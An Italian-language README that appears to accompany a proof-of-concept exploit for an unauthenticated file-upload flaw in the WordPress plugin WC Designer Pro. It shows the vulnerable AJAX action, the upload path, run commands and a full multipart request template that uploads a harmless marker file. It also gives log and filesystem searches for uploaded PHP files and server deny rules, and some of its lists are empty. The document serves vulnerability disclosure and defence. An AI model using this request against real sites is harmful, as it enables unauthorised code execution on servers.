
Exploit di esecuzione remota di codice non autenticata per il plugin WordPress WC Designer Pro. Automatizza il rilevamento, il caricamento di file e l'accesso alla shell tramite un endpoint AJAX vulnerabile.
WC Designer Pro contiene una vulnerabilità di caricamento arbitrario di file senza autenticazione in un'azione AJAX esposta tramite l'endpoint admin-ajax.php di WordPress.
Il gestore interessato elabora metadati dei file controllati dall'utente e contenuti dei file senza applicare adeguati controlli di autenticazione, autorizzazione, validazione dell'estensione, validazione del tipo MIME o restrizioni lato server sui nomi dei file.
In configurazioni vulnerabili, un attaccante non autenticato potrebbe riuscire a caricare un file eseguibile lato server in una directory accessibile via web. Lo sfruttamento riuscito può comportare l'esecuzione remota di codice con i privilegi del processo del server web.
| Proprietà | Valore |
|---|---|
| Prodotto | WC Designer Pro |
| Piattaforma | WordPress |
| Classe di vulnerabilità | Caricamento arbitrario di file senza restrizioni |
| CWE | CWE-434 |
| Autenticazione richiesta | No |
| Interazione utente richiesta | No |
| Impatto potenziale | Esecuzione remota di codice |
| Complessità dell'attacco | Bassa |
| Componente vulnerabile | Gestore AJAX di upload di WordPress |
| Azione AJAX | wcdp_save_canvas_design_ajax |
L'intervallo esatto delle versioni interessate, l'identificativo CVE e il punteggio CVSS devono essere pubblicati solo dopo essere stati verificati in modo indipendente.
Lo sfruttamento riuscito potrebbe consentire a un attaccante non autenticato di:
L'impatto finale dipende dalla configurazione del server web, dalle regole di esecuzione PHP, dai permessi del filesystem e dai controlli di sicurezza implementati dal provider di hosting.
L'intervallo di versioni interessate è attualmente in fase di validazione.
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed
Non dichiarare che tutte le versioni sono interessate, a meno che test o conferme del vendor supportino tale conclusione.
Il flusso di upload vulnerabile sembra fidarsi dei valori controllati dall'attaccante forniti alla seguente azione AJAX:
wcdp_save_canvas_design_ajax
La richiesta contiene metadati del file come:
La vulnerabilità esiste quando il server accetta questi valori senza eseguire tutti i seguenti controlli:
Unauthenticated request
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Insufficient validation of uploaded file
│
▼
File written to a web-accessible directory
│
▼
Potential server-side code execution
Il percorso di upload osservato segue questa struttura:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
Il percorso esatto può variare in base alla versione del plugin, alla configurazione di WordPress e all'ambiente server.
pipQuesta prova di concetto non deve essere usata contro sistemi di terze parti senza esplicita autorizzazione scritta.
Clona il repository:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
Crea e attiva un ambiente virtuale:
python3 -m venv .venv
source .venv/bin/activate
Su Windows:
python -m venv .venv
.venv\Scripts\Activate.ps1
Installa le dipendenze:
pip install -r requirements.txt
Esempio di requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
La prova di concerto deve essere eseguita solo contro un singolo target di laboratorio autorizzato.
python3 exploit.py --url https://wordpress-lab.example
Per una verifica non distruttiva:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
Esempio di file di verifica:
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing
Usa il comando di help integrato per visualizzare gli argomenti supportati:
python3 exploit.py --help
Esempio di output:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
La richiesta invoca:
action=wcdp_save_canvas_design_ajax
Di seguito è mostrata una struttura semplificata della richiesta:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Authorized security verification
------Boundary--
Questo esempio usa intenzionalmente un file di testo non eseguibile.
Una richiesta riuscita può restituire una risposta simile a:
{
"userID": false,
"filesCMYK": [],
"success": true
}
Una risposta di successo da sola non dimostra l'esecuzione remota di codice. Il ricercatore deve confermare separatamente che:
La procedura di verifica consigliata è:
.txt innocuo.Evita di caricare web shell o payload di esecuzione comandi quando un innocuo file marcatore è sufficiente per dimostrare la vulnerabilità.
Un rapporto valido dovrebbe contenere:
Gli amministratori dovrebbero ispezionare la seguente directory:
/wp-content/uploads/wcdp-uploads/temp/
I potenziali indicatori includono:
.php, .phtml, .phar o simili.admin-ajax.php che usano l'azione AJAX interessata.Esempio di ricerca nei log:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
Esempio di ricerca nel filesystem:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
Gli amministratori del sito dovrebbero:
Per Nginx, nega l'esecuzione di PHP all'interno della directory uploads:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Per Apache, inserisci una regola appropriata all'interno della directory uploads:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
Questi controlli sono misure di difesa in profondità e non sostituiscono la correzione del codice vulnerabile del plugin.
I manutentori del plugin dovrebbero:
current_user_can().wp_check_filetype_and_ext().Questo repository è destinato esclusivamente a:
Non usare questo codice per accedere, modificare, interrompere o compromettere sistemi senza esplicita autorizzazione.
L'autore non è responsabile dell'uso non autorizzato, illegale o abusivo di questo materiale. Gli utenti sono gli unici responsabili del rispetto delle leggi, dei contratti, delle regole di ingaggio e dei requisiti di divulgazione coordinata delle vulnerabilità applicabili.
Discovery date: To be added
Vendor contacted: To be added
Vendor response: To be added
Patch released: To be added
CVE requested: To be added
CVE assigned: To be added
Public disclosure: To be added
Non pubblicare un CVE segnaposto come se fosse un identificativo assegnato.
Quando un CVE viene assegnato, sostituisci il segnaposto con il record ufficiale:
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment
La ricerca sulla sicurezza dovrebbe ridurre il rischio, non crearlo.
Realizzato per test di sicurezza autorizzati da m2hcz.